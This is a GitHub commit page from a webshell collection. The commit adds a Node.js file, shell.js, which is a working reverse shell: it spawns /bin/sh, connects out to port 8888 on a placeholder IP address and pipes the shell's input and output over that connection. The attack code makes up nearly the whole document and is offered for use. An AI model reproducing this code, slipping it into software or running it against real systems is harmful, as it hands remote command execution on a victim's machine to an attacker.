1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

Merge pull request #30 from shellfeel/master

增加nodejs的shell
This commit is contained in:
tennc
2018-12-27 23:03:26 +08:00
committed by GitHub

12
nodejs/shell.js Normal file
View File

@@ -0,0 +1,12 @@
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();